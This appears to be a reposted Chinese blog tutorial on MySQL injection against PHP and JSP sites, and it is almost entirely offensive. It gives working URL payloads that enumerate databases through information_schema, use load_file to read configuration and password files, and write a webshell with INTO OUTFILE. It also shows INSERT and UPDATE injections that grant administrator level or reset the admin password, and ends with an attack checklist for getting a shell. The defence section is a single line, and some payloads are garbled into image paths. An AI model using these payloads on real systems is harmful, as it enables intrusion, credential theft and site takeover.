MySQL注射攻擊與防範詳解

技術小美發表於2017-11-02

 

PHP+MySQL JSP+MySQL 


一.基礎知識 

1.MYSQL的版本 

4.0以下4.0以上5.0以上。 

4.0以下不支援union查詢 

4.0以上magic_quotes_gpc預設為on 

5.0以上可以暴表暴列支援跨庫 

2.magic_quotes_gpc=on 

當php.ini裡的 magic_quotes_gpc 為On 時。提交的變數中所有的 ` (單引號), ” (雙引號), (反斜線) and 空字元會自動轉為含有反斜線的轉義字元。例如`會變成`。給注入帶來不少的阻礙。 

3.註釋符 

Mysql有3種註釋句法 

# 注射掉註釋符後面的本行內容 

— 注射效果同# 

/* … */  註釋掉符號中間的部分 

對於#號將是我們最常用的註釋方法。 

— 號記得後面還得有一個空格才能起註釋作用。 


/*…*/  我們一般只用前面的/*就夠了。 

注意在瀏覽器位址列輸入#時應把它寫成%23這樣經urlencode轉換後才能成為#從而起到註釋的作用。 

注射中常用/**/代替空格。 


4.一些函式與MSSQL中的不同 

ascii() 

length() 

5.匯出檔案into outfile 

使用  into outfile 把程式碼寫到web目錄取得WEBSHELL   

首先需要 3大先天條件 

①知道物理路徑(into outfile `物理路徑`) 這樣才能寫對目錄 

②能夠使用union (也就是說需要MYSQL4以上的版本) 

③對方沒有對`進行過濾(因為outfile 後面的 “ 不可以用其他函式代替轉換) 

後天條件就要2個 

①就是MYSQL 使用者擁有file_priv許可權(不然就不能寫檔案 或者把檔案內容讀出) 

②對web目錄有寫許可權MS 的系統就不說了一般都會有許可權的~但是*nix 的系統嘛通常都是rwxr-xr-x 也就是說組跟其他使用者都沒有許可權寫操作 

6.讀取檔案load_file() 

serv-U預設安裝路徑的servudaemon.ini。注意可以變化D盤E盤…… 

讀取資料庫配置檔案 

IIS站點配置資訊c:windowssystem32inetsrvmetabase.xml 

/usr/local/app/apache2/conf/httpd.conf //apache2預設配置檔案 

/usr/local/apache2/conf/httpd.conf 

/usr/local/app/php5/lib/php.ini //PHP相關設定 

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設定 

/etc/my.cnf //mysql的配置檔案 

/etc/redhat-release //系統版本 

C:mysqldatamysqluser.MYD //us儲存了mysql.er表中的資料庫連線密碼 

/etc/sysconfig/iptables //從中得到防火牆規則策略 


7.絕對路徑 

1.加特殊符號訪問不存在的連結 

2.讀取伺服器配置檔案 

3.直接訪問 

phpmyadmin/libraries/select_lang.lib.php 

phpmyadmin/darkblue_orange/layout.inc.php 

phpmyadmin/index.php?lang[]=1 

8.網站OS版本 

變換大小寫。 

9.PHPMyadmin路徑 

在測試uninx系統中phpmyadmin路徑時候可以在upload/2011/5/201105170148018831.jpg 

2004091201.jpg中的內容為 一句話 

好我們開始upload/2011/5/201105170148026134.jpg`),4,5,6,7,8,9,10,11%20into%20outfile`C:/apache/htdocs/site/shell.php` 

因為適用了outfile所以網頁顯示不正常但是我們的任務是完成了。 

load_file讀寫檔案的技巧 

不知道你有沒有發現過在我們用load_file()讀寫php檔案時不能在網頁中顯示。例如 

`C:/apache/htdocs/site/lib/sql.inc.php`轉化為16進製為0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870 

我們構造如下 

http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11 

發現在文章內容的地方本來該顯示sql.inc.php的可是卻空空之為何呢 內容在原始碼裡面。 

substring() left() right() mid() 


into outfile“ 不能繞過 

mysql 5.0以下的跨庫查詢 

變相的跨庫查詢方法就是通過load_file來直接讀出mysql中data資料夾下的檔案內容從而實現變態跨庫查詢。 

舉個例子啦 

在這之前我們先講一下mysql的data資料夾下的結構 

Data資料夾下有按資料庫名生成的資料夾資料夾下按照表名生成三個字尾為frm,myd,myi的三個檔案例如 

Mysql中有alpha資料庫在alpha庫中有alphaauthor和alphadb兩個表 

Alpha資料夾下就有alphadb.frmalphadb.mydalphadb.myialphaauthor.frm,alphaauthor.myd,alphaauthor.myi 

其中alphadb.frm放著lphadb表中的資料alphadb.myd放著表的結構alphadb.myi中放的內容隨mysql的版本不同會有所不同具體可以自己用記事本開啟來判斷。 

實驗開始 

假設我們知道有另外的一個資料庫yminfo210存在且存在表useruser中放著admin的資訊。 

我們 

http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(`yminfuo210/ser.myd`),4,5,6,7,8,9,10,11 

說明一下load_file預設所在的目錄是mysql下的data目錄所以我們用 

load_file(`yminfo210/user.myd`)當然load_file(`.info210/user.myd`)也是一樣的注意的是into outfile的預設路徑是在所在的資料庫資料夾下。 

我們看讀出來的內容 

舼鮂F鮂F?   admin 698d51a19d8a121ce581499d7b701668 sdf@sd.com sdfasdfsdfa asdfadfasd   ?E麷AM麷A 127.0.0.1 222  222222223423 

雖然亂碼一堆但是我們還是可以看出使用者名稱是admin密碼是698d51a19d8a121ce581499d7b701668後面其它的是另外的資訊。 

通過這種方法我們就實現了曲線跨庫。 

3.其他一些注射語句insert注射和update注射 

INSERT 

  如果大家認為MYSQL中注入僅僅適用於SELECT就大錯特錯了其實還有兩個危害更大的操作那就是INSERT和UPDATE語句這類例子不多先面先說說INSERT這主要應用於改寫插入的資料我們來看個簡單而又廣泛存在的例子看看下面的資料結構 

CREATE TABLE `user` ( 

`userid` INT NOT NULL AUTO_INCREMENT , 

`username` VARCHAR( 20 ) NOT NULL , 

`password` VARCHAR( 50 ) NOT NULL , 

`homepage` VARCHAR( 255 ) NOT NULL , 

`userlevel` INT DEFAULT `1` NOT NULL , 

PRIMARY KEY ( `userid` ) 

); 


  其中的userlevel代表使用者的等級1是普通使用者2是普通管理員3是超級管理員一個註冊程式預設是註冊成普通使用者如下 

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (“, `$username`, `$password`, `$homepage`, `1`); 


  預設userlevel欄位是插入1其中的變數都是沒有經過過濾就直接寫入資料庫的不知道大家有什麼想法對就是直接注入使我們一註冊就是超級管理員。我們註冊的時候構造$homepage變數就可以達到改寫的目的指定$homepage變數為 
http://4ngel.net`, `3’)# 


  插入資料庫的時候就變成 

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (“, `angel`, `mypass`, `http://4ngel.net`, `3’)#`, `1`); 


  這樣就註冊成為超級管理員了。但這種利用方法也有一定的侷限性比如我沒有需要改寫的變數如userlevel欄位是資料庫的第一個欄位前面沒有地方給我們注入我們也沒有辦法了。 

或許INSERT還有更廣泛的應用大家可以自行研究但原理都是一樣的。 

UPDATE 

  和INSERT相比UPDATE的應用更加廣泛如果過濾不夠足以改寫任何資料還是拿剛才的註冊程式來說資料結構也不變我們看一下使用者自己修改自己的資料SQL語句一般都是這樣寫的 

UPDATE user SET password=`$password`, homepage=`$homepage` WHERE id=`$id` 


  使用者可以修改自己的密碼和主頁大家有什麼想法總不至於還是提升許可權吧程式中的SQL語句又沒有更新userlevel欄位怎麼提升啊還是老辦法構造$homepage變數, 指定$homepage變數為 
http://4ngel.net`, userlevel=`3 


  整個SQL語句就變成這樣 

UPDATE user SET password=`mypass`, homepage=`http://4ngel.net`, userlevel=`3` WHERE id=`$id` 


  我們是不是又變成超級管理員了程式不更新userlevel欄位我們自己來。 

還有更加絕的直接修改任意使用者的資料還是剛才的例句但這次安全一點使用MD5加密 

UPDATE user SET password=`MD5($password)`, homepage=`$homepage` WHERE id=`$id` 


  儘管密碼被加密了但我們還是可以構造我們需要的語句我們指定$password為 

mypass)` WHERE username=`admin`# 


  這時整個語句變為 

UPDATE user SET password=`MD5(mypass)` WHERE username=`admin`#)`, homepage=`$homepage` WHERE id=`$id` 


  這樣就更改了更新的條件我管你後面的程式碼是不是在哭這說我們還沒有執行啊。當然也可以從$id下手指定$id為 

` OR username=`admin` 


  這時整個語句變為 

UPDATE user SET password=`MD5($password)`, homepage=`$homepage` WHERE id=“ OR username=`admin` 


4.MySQL5.0以上的新特性 

系統表的結構 

SCHEMATA         ――>儲存資料庫名的 

|——>關鍵欄位SCHEMA_NAME表示資料庫名稱 

                       

| TABLES              ――>儲存表名的   

|——>關鍵欄位TABLE_SCHEMA表示表所屬的資料庫名稱 

TABLE_NAME表示表的名稱 


| COLUMNS   ――>儲存欄位名的 

|——>關鍵欄位TABLE_SCHEMA表示表所屬的資料庫名稱 

TABLE_NAME表示所屬的表的名稱 

             COLUMN_NAME表示欄位名 


爆管理員賬號密碼找到後臺登陸。 


前面爆管理員賬號密碼前有可能猜表都猜不到。這裡教大家暴庫爆表爆欄位。 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,schema_name,6,7,8 from information_schema.SCHEMATA limit 0,1/* 

這樣會爆出一個資料庫。前面我們輕而易舉的可以得到一個當前連線的資料庫。 

我們要爆出的資料庫裡要存放管理員的使用者和密碼。 

這裡limit 0,1/*的意思是爆出第一個庫的名字如果要檢視第二個資料庫名就增加limit後面的值比如把0增加為1就又爆出一個庫名。逐次加1就分別暴出了網站的其他資料庫名。 

已經知道網站資料庫名是study繼續爆表。 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.table where TABLE_SCHEMA=0x7374756479 limit 0,1/* 

這裡0x7374756479就是study的16進位制形式。成功爆出一個表名。我們在增加limit後面的數字來逐一爆出資料庫中的其他表名。 

爆欄位 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,COLUMN_NAME,6,7,8 from information_schema.COLUMN_NAME where TABLE_NAME=0x61646D696E limit 0,1/* 

成功爆出admin表中的一個欄位。0x61646D696E為admin的16進位制。 


有時候我們用union聯合查詢前猜到的欄位長度可能是1這樣對我們就有所限制了。我們可以藉助concat函式來一次性爆出我們所希望得到的東西。具體用法是concat(我們想要爆的,0x3A,我們想要爆的,0x3A,我們想要爆的……) 
http://127.0.0.1/ad.php?id=1 and 1=2 union select concat(user(),0x3A,database(),0x3A,version()) 

0x3A是;的16進位制形式。 


PHP跨庫查詢。當前庫realmd要跨到BBS的庫為discuz,預設中discuz資料庫中存放使用者資訊的表是cdb_members ,兩個欄位為username,password 
http://127.0.0.1/ad.php?id=1 and 1=1 union select 1,2,3,4,5,6,7,8 from discuz.cdb_members返回正常說明跨庫查詢成功。並且資料庫和表都是存在的。 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,username,3,password,5,6,7,8 from discuz.cdb.members where uid=1 

延伸——跨庫後同樣可以爆表爆欄位。 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.table where TABLE_SCHEMA=discuz limit 0,1/* 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,COLUMN_NAME,6,7,8 from information_schema.COLUMN_NAME where TABLE_NAME=discuz.cdb_members limit 0,1/* 

schema_name  information_schema.SCHEMATA 

table_name  information_schema.table  TABLE_SCHEMA 

COLUMN_NAME  information_schema.COLUMN_NAME  TABLE_NAME 

三.攻擊思路 


如果magic_quotes_gpc=off 嘗試into outfile直接得到一個shell 

判斷資料庫版本可以嘗試各個版本的溢位漏洞 

如果能load_file可以load_file出資料庫的賬戶密碼 

連線或者是找到phpmyadmin後登陸 

登陸後建立一個表匯出一個shell或者into outfile 一個shell 

也可以load_file serv-U的相關資訊利用FTP登陸 

猜測管理員賬戶密碼找到後臺登陸獲得shell 

本庫不行可以跨庫。 


四.漏洞防禦 

變數的過濾 

開啟magic_quotes_gpc並且int型變數做一個判斷。

本文轉hackfreer51CTO部落格原文連結http://blog.51cto.com/pnig0s1992/567470如需轉載請自行聯絡原作者


相關文章